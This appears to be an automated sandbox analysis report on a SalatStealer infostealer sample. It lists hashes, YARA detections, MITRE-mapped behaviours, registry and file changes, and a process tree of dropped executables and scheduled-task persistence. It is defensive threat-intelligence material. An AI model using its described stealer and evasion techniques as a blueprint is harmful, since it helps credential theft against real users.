salatstealer | 34fcca4aa1359e2f2105078916b16b88816e1a8e087b90cf4c3c8a2e91633711

Analysis

max time kernel
150s
max time network
146s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260911-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
27/10/2026, 00:53

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
34fcca4aa1359e2f2105078916b16b88816e1a8e087b90cf4c3c8a2e91633711.exe
Size 9.8MB
Sample261027-a8vnwazyhs
SHA256 34fcca4aa1359e2f2105078916b16b88816e1a8e087b90cf4c3c8a2e91633711
MD5 d08bcc46e3ab26d1345a421c33271d6e
SHA1 70d7e2cdf98dccfcd2019a3e33bcf0be04159bae
SHA512 e9b9d8c552e5dd2ab4c88b3a4771e0b16093fa5ac19c66aba7bbe14ea24b9dfe1c94d11c94b5c30194c65ce96e1cae475835279e5bd4ba5d905aedcf3f103a78
SSDEEP 98304:F2SlR+luWNvYuO/1ZBiN5jOEqBZuLl3kmkRcbV9:F2Sl4ltdOtHGpRq6LxvdT
TLSH
T13DA6DF3262F563049798D6C20F72AD74E5A06FF018DA551D145CB0786A2EBF2B2F1F8E
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

discovery execution salatstealer stealer upx

Malware Config

Signatures

Family: salatstealer
SalatStealer is a stealer that takes sceenshot written in Golang.
stealer salatstealer

Detect SalatStealer payload 3 IoCs

resource	yara_rule
behavioral2/memory/1088-949-0x00000000002E0000-0x0000000000F2F000-memory.dmp	family_salatstealer
behavioral2/memory/1088-1015-0x00000000002E0000-0x0000000000F2F000-memory.dmp	family_salatstealer
behavioral2/memory/1456-1016-0x0000000000EF0000-0x0000000001B3F000-memory.dmp	family_salatstealer

Executes dropped EXE 4 IoCs

pid	Process
5956	wmrxd8h.exe
4284	Install.exe
1088	lol.exe
1456	NRExtExport.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2256	powershell.exe

Drops file in System32 directory 12 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules.xml	OfficeClickToRun.exe
File opened for modification	C:\Windows\System32\CatRoot2\dberr.txt	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B76BE66D46C355931939D8CF818D03FD_879AFEB08DCB012707582D902977FF92	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_49536AB5156BDD74EFF881D01C36A419	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_EAF5D55D93603A879FA973006301F24F	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506	svchost.exe
File opened for modification	C:\Windows\System32\Tasks\$AppData\NRExtExport.exe	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B76BE66D46C355931939D8CF818D03FD_39DF7432E6EF50CDA9C936E29E7DA30D	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\FB0D848F74F70BB2EAA93746D24D9749	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506	svchost.exe

UPX packed file 6 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/files/0x000e00000001c50c-22.dat	upx
behavioral2/memory/1088-32-0x00000000002E0000-0x0000000000F2F000-memory.dmp	upx
behavioral2/memory/1088-949-0x00000000002E0000-0x0000000000F2F000-memory.dmp	upx
behavioral2/memory/1456-1001-0x0000000000EF0000-0x0000000001B3F000-memory.dmp	upx
behavioral2/memory/1088-1015-0x00000000002E0000-0x0000000000F2F000-memory.dmp	upx
behavioral2/memory/1456-1016-0x0000000000EF0000-0x0000000001B3F000-memory.dmp	upx

Drops file in Windows directory 2 IoCs

description	ioc	Process
File created	C:\Windows\SystemTemp\__PSScriptPolicyTest_gl0ycdon.knn.ps1	powershell.exe
File created	C:\Windows\SystemTemp\__PSScriptPolicyTest_xhnsfdka.pag.psm1	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 1 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
1428	cmd.exe

Reads the TCP/IP host and domain name from the registry 1 TTPs 4 IoCs

The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

discovery

System Network Configuration Discovery

T1016

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	lol.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	lol.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	NRExtExport.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	NRExtExport.exe

System Location Discovery: System Language Discovery 1 TTPs 4 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Install.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	lol.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	NRExtExport.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe

System Time Discovery 1 TTPs 1 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
1428	cmd.exe

Checks processor information in registry 2 TTPs 7 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	wmiprvse.exe
Key queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	wmiprvse.exe
Key value enumerated	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	wmiprvse.exe
Key security queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Component Information	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	wmiprvse.exe

Enumerates system info in registry 2 TTPs 1 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier	wmiprvse.exe

Modifies data under HKEY_USERS 55 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesLastModified\officeclicktorun.exe_queried = "1793062431"	OfficeClickToRun.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\RulesEndpoint = "https://nexusrules.officeapps.live.com/nexus/rules?Application=officeclicktorun.exe&Version=16.0.12527.20470&ClientId={E2530C13-D31D-4268-9DDE-4CB2A1D79137}&OSEnvironment=10&MsoAppId=37&AudienceName=Production&AudienceGroup=Production&AppVersion=16.0.12527.20470&"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry	OfficeClickToRun.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSCategoriesSeverities = "1329 10,940 10,941 10,942 10,943 10,940 15,1329 15,940 6,944 50,944 10,941 15,942 15,940 50,943 15,944 6,944 15,943 6,1329 50,1329 100,1329 6,941 6,942 6,944 100,940 100"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesLastModified\officeclicktorun.exe = "Sun, 25 Oct 2026 11:52:14 GMT"	OfficeClickToRun.exe
Key deleted	\REGISTRY\USER\.DEFAULT\SOFTWARE\MICROSOFT\OFFICE\16.0\COMMON\CLIENTTELEMETRY\RULESMETADATA\OFFICECLICKTORUN.EXE\ULSMONITOR	OfficeClickToRun.exe
Key deleted	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common	OfficeClickToRun.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSTagIds0 = "17110992,504928405,41816131,507286179,7202265,17110988,7153487,504928410,577889346,5804129,17962391,508368333,17962392,41484365,24262478,9179409,3462423,3702920,3700754,3965062,24262474,4297094,7153421,3462365,18716193,7153435,24262477,25036127,24262473,9179410,20502174,6308191,18407617,39125643,539756558,6104718,9179411,51475283,41185282,39389248,539756557,528570079,7202269"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe

Modifies registry class 2 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-461973139-3212354679-1508698038-1000_Classes\NotificationData	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-461973139-3212354679-1508698038-1000_Classes\NotificationData\0D83063EA3B8FCF5 = 0100000000000002	explorer.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
2256	powershell.exe
2256	powershell.exe
2256	powershell.exe
2256	powershell.exe
744	winlogon.exe
744	winlogon.exe
744	winlogon.exe
744	winlogon.exe
744	winlogon.exe
744	winlogon.exe
744	winlogon.exe
744	winlogon.exe
744	winlogon.exe
744	winlogon.exe
744	winlogon.exe
744	winlogon.exe
744	winlogon.exe
744	winlogon.exe
744	winlogon.exe
744	winlogon.exe
744	winlogon.exe
744	winlogon.exe
744	winlogon.exe
744	winlogon.exe
744	winlogon.exe
744	winlogon.exe
744	winlogon.exe
744	winlogon.exe
744	winlogon.exe
744	winlogon.exe
744	winlogon.exe
744	winlogon.exe
744	winlogon.exe
744	winlogon.exe
744	winlogon.exe
744	winlogon.exe
744	winlogon.exe
744	winlogon.exe
744	winlogon.exe
744	winlogon.exe
744	winlogon.exe
744	winlogon.exe
744	winlogon.exe
744	winlogon.exe
744	winlogon.exe
744	winlogon.exe
744	winlogon.exe
744	winlogon.exe
744	winlogon.exe
744	winlogon.exe
744	winlogon.exe
744	winlogon.exe
744	winlogon.exe
744	winlogon.exe
744	winlogon.exe
744	winlogon.exe
744	winlogon.exe
744	winlogon.exe
744	winlogon.exe
744	winlogon.exe
744	winlogon.exe
744	winlogon.exe
744	winlogon.exe
744	winlogon.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
6000	explorer.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	2256	powershell.exe
Token: SeDebugPrivilege	2256	powershell.exe
Token: SeDebugPrivilege	744	winlogon.exe
Token: SeShutdownPrivilege	6000	explorer.exe
Token: SeCreatePagefilePrivilege	6000	explorer.exe
Token: SeShutdownPrivilege	6000	explorer.exe
Token: SeCreatePagefilePrivilege	6000	explorer.exe
Token: SeShutdownPrivilege	6000	explorer.exe
Token: SeCreatePagefilePrivilege	6000	explorer.exe
Token: SeShutdownPrivilege	6000	explorer.exe
Token: SeCreatePagefilePrivilege	6000	explorer.exe
Token: SeAssignPrimaryTokenPrivilege	3676	svchost.exe
Token: SeIncreaseQuotaPrivilege	3676	svchost.exe
Token: SeSecurityPrivilege	3676	svchost.exe
Token: SeTakeOwnershipPrivilege	3676	svchost.exe
Token: SeLoadDriverPrivilege	3676	svchost.exe
Token: SeSystemtimePrivilege	3676	svchost.exe
Token: SeBackupPrivilege	3676	svchost.exe
Token: SeRestorePrivilege	3676	svchost.exe
Token: SeShutdownPrivilege	3676	svchost.exe
Token: SeSystemEnvironmentPrivilege	3676	svchost.exe
Token: SeUndockPrivilege	3676	svchost.exe
Token: SeManageVolumePrivilege	3676	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	3676	svchost.exe
Token: SeIncreaseQuotaPrivilege	3676	svchost.exe
Token: SeSecurityPrivilege	3676	svchost.exe
Token: SeTakeOwnershipPrivilege	3676	svchost.exe
Token: SeLoadDriverPrivilege	3676	svchost.exe
Token: SeSystemtimePrivilege	3676	svchost.exe
Token: SeBackupPrivilege	3676	svchost.exe
Token: SeRestorePrivilege	3676	svchost.exe
Token: SeShutdownPrivilege	3676	svchost.exe
Token: SeSystemEnvironmentPrivilege	3676	svchost.exe
Token: SeUndockPrivilege	3676	svchost.exe
Token: SeManageVolumePrivilege	3676	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	3676	svchost.exe
Token: SeIncreaseQuotaPrivilege	3676	svchost.exe
Token: SeSecurityPrivilege	3676	svchost.exe
Token: SeTakeOwnershipPrivilege	3676	svchost.exe
Token: SeLoadDriverPrivilege	3676	svchost.exe
Token: SeSystemtimePrivilege	3676	svchost.exe
Token: SeBackupPrivilege	3676	svchost.exe
Token: SeRestorePrivilege	3676	svchost.exe
Token: SeShutdownPrivilege	3676	svchost.exe
Token: SeSystemEnvironmentPrivilege	3676	svchost.exe
Token: SeUndockPrivilege	3676	svchost.exe
Token: SeManageVolumePrivilege	3676	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	3676	svchost.exe
Token: SeIncreaseQuotaPrivilege	3676	svchost.exe
Token: SeSecurityPrivilege	3676	svchost.exe
Token: SeTakeOwnershipPrivilege	3676	svchost.exe
Token: SeLoadDriverPrivilege	3676	svchost.exe
Token: SeSystemtimePrivilege	3676	svchost.exe
Token: SeBackupPrivilege	3676	svchost.exe
Token: SeRestorePrivilege	3676	svchost.exe
Token: SeShutdownPrivilege	3676	svchost.exe
Token: SeSystemEnvironmentPrivilege	3676	svchost.exe
Token: SeUndockPrivilege	3676	svchost.exe
Token: SeManageVolumePrivilege	3676	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	3676	svchost.exe
Token: SeIncreaseQuotaPrivilege	3676	svchost.exe
Token: SeSecurityPrivilege	3676	svchost.exe
Token: SeTakeOwnershipPrivilege	3676	svchost.exe
Token: SeLoadDriverPrivilege	3676	svchost.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2996 wrote to memory of 5956	2996	34fcca4aa1359e2f2105078916b16b88816e1a8e087b90cf4c3c8a2e91633711.exe	89
PID 5956 wrote to memory of 4284	5956	wmrxd8h.exe	90
PID 1428 wrote to memory of 2256	1428	cmd.exe	92
PID 5956 wrote to memory of 1088	5956	wmrxd8h.exe	94
PID 2256 wrote to memory of 744	2256	powershell.exe	5
PID 744 wrote to memory of 952	744	winlogon.exe	9
PID 744 wrote to memory of 960	744	winlogon.exe	10
PID 744 wrote to memory of 1000	744	winlogon.exe	11
PID 744 wrote to memory of 556	744	winlogon.exe	13
PID 744 wrote to memory of 1100	744	winlogon.exe	14
PID 744 wrote to memory of 1172	744	winlogon.exe	15
PID 744 wrote to memory of 1188	744	winlogon.exe	16
PID 744 wrote to memory of 1224	744	winlogon.exe	17
PID 744 wrote to memory of 1296	744	winlogon.exe	18
PID 744 wrote to memory of 1396	744	winlogon.exe	21
PID 744 wrote to memory of 1532	744	winlogon.exe	23
PID 744 wrote to memory of 1556	744	winlogon.exe	24
PID 744 wrote to memory of 1580	744	winlogon.exe	25
PID 744 wrote to memory of 1692	744	winlogon.exe	26
PID 744 wrote to memory of 1828	744	winlogon.exe	27
PID 744 wrote to memory of 1968	744	winlogon.exe	28
PID 744 wrote to memory of 2028	744	winlogon.exe	29
PID 744 wrote to memory of 1508	744	winlogon.exe	30
PID 744 wrote to memory of 2132	744	winlogon.exe	31
PID 744 wrote to memory of 2136	744	winlogon.exe	32
PID 744 wrote to memory of 2204	744	winlogon.exe	33
PID 744 wrote to memory of 2328	744	winlogon.exe	34
PID 744 wrote to memory of 2464	744	winlogon.exe	35
PID 744 wrote to memory of 2504	744	winlogon.exe	36
PID 744 wrote to memory of 2628	744	winlogon.exe	37
PID 744 wrote to memory of 2692	744	winlogon.exe	38
PID 744 wrote to memory of 2736	744	winlogon.exe	39
PID 744 wrote to memory of 2744	744	winlogon.exe	40
PID 744 wrote to memory of 2788	744	winlogon.exe	41
PID 744 wrote to memory of 2796	744	winlogon.exe	42
PID 744 wrote to memory of 2924	744	winlogon.exe	43
PID 744 wrote to memory of 716	744	winlogon.exe	44
PID 744 wrote to memory of 3100	744	winlogon.exe	46
PID 744 wrote to memory of 3140	744	winlogon.exe	47
PID 744 wrote to memory of 3236	744	winlogon.exe	48
PID 744 wrote to memory of 3472	744	winlogon.exe	50
PID 744 wrote to memory of 3564	744	winlogon.exe	51
PID 744 wrote to memory of 3604	744	winlogon.exe	52
PID 744 wrote to memory of 3656	744	winlogon.exe	53
PID 744 wrote to memory of 3668	744	winlogon.exe	54
PID 744 wrote to memory of 3676	744	winlogon.exe	55
PID 744 wrote to memory of 3696	744	winlogon.exe	56
PID 744 wrote to memory of 3560	744	winlogon.exe	57
PID 744 wrote to memory of 820	744	winlogon.exe	58
PID 744 wrote to memory of 4352	744	winlogon.exe	59
PID 744 wrote to memory of 4420	744	winlogon.exe	60
PID 744 wrote to memory of 4476	744	winlogon.exe	61
PID 744 wrote to memory of 4688	744	winlogon.exe	62
PID 744 wrote to memory of 4728	744	winlogon.exe	63
PID 744 wrote to memory of 5008	744	winlogon.exe	64
PID 744 wrote to memory of 5128	744	winlogon.exe	65
PID 744 wrote to memory of 5236	744	winlogon.exe	66
PID 744 wrote to memory of 5480	744	winlogon.exe	69
PID 744 wrote to memory of 940	744	winlogon.exe	71
PID 744 wrote to memory of 5468	744	winlogon.exe	73
PID 744 wrote to memory of 1708	744	winlogon.exe	74
PID 744 wrote to memory of 548	744	winlogon.exe	77
PID 744 wrote to memory of 5412	744	winlogon.exe	78
PID 744 wrote to memory of 2820	744	winlogon.exe	79

C:\Windows\system32\winlogon.exe
winlogon.exe
1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:744
- C:\Windows\system32\fontdrvhost.exe
  "fontdrvhost.exe"
  2⤵
  PID:960
- C:\Windows\system32\dwm.exe
  "dwm.exe"
  2⤵
  PID:1188

C:\Windows\system32\fontdrvhost.exe
"fontdrvhost.exe"
1⤵
PID:952

C:\Windows\System32\WUDFHost.exe
"C:\Windows\System32\WUDFHost.exe" -HostGUID:{193a1820-d9ac-4997-8c55-be817523f6aa} -IoEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-6451c75e-920b-4fcd-a471-91c874ec8fe2 -SystemEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-58e47926-679d-4122-96ea-488685cd5981 -IoCancelEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-9af0a035-936c-4e3d-b9c9-ceeeaf08dc9e -NonStateChangingEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-16bba661-fe25-43f1-b097-1285e939608f -LifetimeId:a9b64fa1-c9a9-4d11-a77e-b33fc82ad017 -DeviceGroupId:WudfDefaultDevicePool -HostArg:0
1⤵
PID:1000

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
1⤵
PID:556

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p
1⤵
- Drops file in System32 directory
PID:1100

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts
1⤵
PID:1172

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc
1⤵
PID:1224

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
1⤵
PID:1296

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s nsi
1⤵
PID:1396

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netprofm -p -s netprofm
1⤵
PID:1532

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s DisplayEnhancementService
1⤵
PID:1556

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
1⤵
- Drops file in System32 directory
PID:1580

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k UserProfileService -p -s ProfSvc
1⤵
PID:1692

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc
1⤵
PID:1828

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p
1⤵
PID:1968

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager
1⤵
PID:2028
- C:\Windows\system32\sihost.exe
  sihost.exe
  2⤵
  PID:2820
- - C:\Windows\explorer.exe
    explorer.exe /LOADSAVEDWINDOWS
    3⤵
    - Modifies registry class
    - Suspicious behavior: GetForegroundWindowSpam
    - Suspicious use of AdjustPrivilegeToken
    PID:6000
  - - C:\Users\Admin\AppData\Local\Temp\34fcca4aa1359e2f2105078916b16b88816e1a8e087b90cf4c3c8a2e91633711.exe
      "C:\Users\Admin\AppData\Local\Temp\34fcca4aa1359e2f2105078916b16b88816e1a8e087b90cf4c3c8a2e91633711.exe"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:2996
    - - C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\Content\ejsyh0p3\wmrxd8h.exe
        
        "C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\Content\ejsyh0p3\wmrxd8h.exe"
        5⤵
        Executes dropped EXE
        Suspicious use of WriteProcessMemory
        
        PID:5956
      - C:\Users\Admin\AppData\Local\Temp\Install.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Install.exe"
        6⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        
        PID:4284
      - C:\Users\Admin\AppData\Local\Temp\lol.exe
        
        "C:\Users\Admin\AppData\Local\Temp\lol.exe"
        6⤵
        Executes dropped EXE
        Reads the TCP/IP host and domain name from the registry
        System Location Discovery: System Language Discovery
        
        PID:1088
        
        C:\Users\Admin\AppData\Roaming\NRExtExport.exe
        
        C:\Users\Admin\AppData\Roaming\NRExtExport.exe
        7⤵
        Executes dropped EXE
        Reads the TCP/IP host and domain name from the registry
        System Location Discovery: System Language Discovery
        
        PID:1456
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell.exe
        8⤵
        System Location Discovery: System Language Discovery
        
        PID:4376
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
